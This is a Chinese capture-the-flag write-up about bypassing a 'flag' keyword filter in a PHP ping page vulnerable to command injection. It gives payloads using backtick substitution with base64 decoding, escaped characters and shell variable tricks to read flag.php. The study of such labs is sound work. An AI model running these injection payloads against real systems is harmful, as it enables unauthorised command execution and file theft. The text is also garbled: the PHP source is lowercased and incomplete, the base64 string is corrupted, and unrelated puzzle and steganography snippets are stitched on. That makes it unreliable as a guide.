注意⚠️此題是「命令執行繞過」,不是「**執行繞過」
下發題目開啟,拿到原始碼
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_get["ip"]))
system("ping -c 3 $_get[ip]");
?>
傳入的引數如果匹配到了flag字元就輸出「no flag」
測試一下,發現flag.php就在當前目錄
如果要輸出flag.php的內容,我們要構造payload:?ip=;cat ./flag.php 但是flag被過濾了
我們可以用base64編碼繞過
將./flag.php 轉換成base64編碼形式
li9mbgfnlnbocao=
因為要輸出當前目錄的flag.php內容,我們還需再把編碼形式轉換回來再執行
構造:
echo 'li9mbgfnlnbocao=' | base64 -d
(注意:linux系統在終端d要換成大寫d,否則無法執行)
但是要讓這一步被執行我們還需借助乙個符號——反引號 `
反引號 ` 在linux命令列中起著 命令執行的作用 ,即將轉換好的base64編碼反回到命令中再執行
最終payload:
?ip=;cat `echo 'li9mbgfnlnbocao=' | base64 -d `
顯示網頁源**
flag = "flag
#其實還有更簡單的方法
1.利用引號繞過(單引號雙引號都行)
2.利用變數去賦值繞過
(payload中也可以去除./ ,後面的我就不加了)
?ip=;cat fla\g.php
?ip=;cat fl$(9)ag.php
還有多種方法就不一一枚舉了。 第四屆 強網杯 upload
將之前儲存的steghide.bin用winhex開啟,可以看到檔案中包含http請求資訊以及我們的資訊,還有檔案結尾的尾部資訊。我們需要做的事情是確定檔案的原始資訊頭和尾,並去掉多餘的部分。apt get install steghide檢視中是否有嵌入檔案的資訊 這裡需要密碼驗證,密碼12345...
第四屆藍橋杯 高斯日記
大數學家高斯有個好習慣 無論如何都要記日記。他的日記有個與眾不同的地方,他從不註明年月日,而是用乙個整數代替,比如 4210 高斯出生於 1777年4月30日。在高斯發現的乙個重要定理的日記上標註著 5343,因此可算出那天是 1791年12月15日。高斯獲得博士學位的那天日記上標著 8113 請你...
藍橋杯第四屆總決賽
a 村的元宵節燈會上有一迷題 0 1 2 0 3 4 5 3 1 請猜謎 請猜謎 請邊賞燈邊猜 小明想,一定是每個漢字代表乙個數字,不同的漢字代表不同的數字。請你用計算機按小明的思路算一下,然後提交 請猜謎 三個字所代表的整數即可。請嚴格按照格式,通過瀏覽器提交答案。注意 只提交乙個3位的整數,不要...